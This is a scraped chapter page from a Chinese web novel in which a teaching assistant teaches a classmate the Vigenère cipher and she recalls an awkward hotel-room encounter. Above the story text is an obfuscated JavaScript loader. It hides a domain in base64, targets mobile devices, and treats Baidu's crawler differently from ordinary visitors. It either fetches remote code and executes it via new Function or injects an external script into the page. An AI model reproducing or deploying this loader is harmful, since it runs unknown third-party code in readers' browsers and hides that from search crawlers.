妙书阁小说

阅读记录  |   用户书架
上一章
目录 | 设置
下一页
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第八十八章 假公济私(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

第八十八章 假公济私

“好,那我们开始吧。”周行云得到她的回答,只是点了点头,便开始给蒋昕简要讲解维吉尼亚密码的规则。

他用笔尖指向那个工整的26 * 26的字母矩阵:“虽然刚刚吴教授讲了很多,但其实并不需要把他讲的全记住,只要掌握最基础的就可以了。维吉尼亚密码简单来说,就是要对照这张表格……”

蒋昕本来因为尴尬而紧绷的神经,随着周行云条理分明、剔除所有冗余信息的讲解,不知不觉地松弛下来。那些天书一般的术语也被简化成了“找行、找字母、看表”这三个具体而机械的动作。

她甚至惊讶地发现,这看起来艰深莫测的“密码学”,上手操作起来,也并没有想象中那么难。

本质来说,维吉尼亚密码其实就是规则稍微绕一点的查字典游戏,而所需要利用的也只有三样东西:需要破解的密文(也就是纸条上那串乱码),密钥(老师黑板上给的单词),还有手中这张分发下来的对应表格。

密钥词告诉你去表格的哪一行找,密文告诉你在这一行里找哪个字母,找到之后往表格最上面一看,对应的那个字母就是明文。

在周行云的引导下,蒋昕拿起笔试着操作。密钥是e,找到e这行,用尺子比着找到密文字母,再看表格顶端……

笔尖落下,一个字母成形。她下意识地看向周行云的眼睛,而周行云几不可察地勾了一下嘴角,稳稳接住了她的目光。

“没问题,继续找下一个。”

当蒋昕在周行云的注视中独自拼出那句“first step is hard”的时候,心中原本对这门课的畏惧和排斥已经散去大半。

她开心地咧咧嘴,惯性地伸出手掌来举到半空中想要来个击掌。

举到一半,才意识到她现在是在密码课上,而不是体育集训队。

她低下头,刚想讪讪把手缩回去,掌心却传来一种很轻柔的触觉。

可当她看向周行云的时候,他却已经若无其事地站起身来,将她写好答案的纸条捏在指尖,去前排检查巡视了。

一个小时的课程很快结束。

吴教授虽然对自己讲授的内容充满过剩激情,却出乎意料地没有拖堂。

铃声响起,他摆摆手,原本神情麻木一脸死样的同学们就跟瞬间满血复活了似的背上书包就撒丫子往外跑。看得蒋昕瞠目结舌,也不知道这些人对这门课到底感不感兴趣。说不感兴趣吧,他们的反应速度都快赶上她听到发令枪响的反应吧,可要说不感兴趣,他们做课堂小测的时候又讨论得那么激烈……

正看得起劲时,耳边突然传来周行云的声音:“蒋昕,你留一下。”

蒋昕点点头,下意识地回了句“好”,等他继续说下去。

然后,她就看见周行云合上了自己的笔记本,将笔帽仔细扣好,放回笔袋。做完这一切,他淡淡地“嗯”了一声算作回应,却并没有开口说话的意思。只是安静地坐着,目光落在前方空荡荡的黑板上,仿佛在等待什么。

终于,除他们之外的最后一个同学弯着腰,嘴里喃喃念叨着离开了教室。而吴教授则收好自己的电脑,关上投影仪后,过来找他们说了两句话。

他先对周行云说:“行云,我一会儿还有组会得先走了,麻烦你帮我和新同学catch up一下。”

周行云点点头:“您放心。”

吴教授便又对蒋昕笑了笑说:“同学,欢迎你选修这门课程。第一节 课主要是绪论,你没有错过很多,其它具体事情先让助教给你讲讲,这个是我的邮箱,如果你还有什么问题可以给我写邮件。”

蒋昕便也对他笑笑:“没问题。”

吴教授沉吟几秒,暂时想不到什么别的事,这时正好手机铃声响起,他接上电话,朝两人点了点头,便步履匆匆地走了出去。

教室里终于只剩下他们两个人。

沉落一半的日光被一朵偶然漂浮过来的云遮挡住,走廊里传来一阵学生跑过走廊的喧哗,又被迅速拉远。

单独相处时,蒋昕便更加无措。

她像小学生一样,双手规规矩矩地放在并拢的膝盖上,背脊挺得笔直。

可不知怎的,越是想要表现得自然一些,那些被封存的画面就越是嚣张而肆意地在眼前和脑海中反反复复地闪回。

那天早晨,光线朦胧的酒店房间。

空气里弥漫的、廉价沐浴露人造花香的气味。

敞开一半的领口,一截清瘦锁骨和蜿蜒水痕。

薄薄浴衣之下若隐若现的身体轮廓,像一片正在融化的雪原。

还有那个只匆匆在眼皮上沾了一下的,青涩的,潮湿的吻。当时只有紧张,是在离开之后才渐渐拼出一点滋味。

蒋昕的耳根开始不受控制地发烫。

她几乎是有些恼怒地在心里命令自己:你究竟在干什么?停下,不许再想了。

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间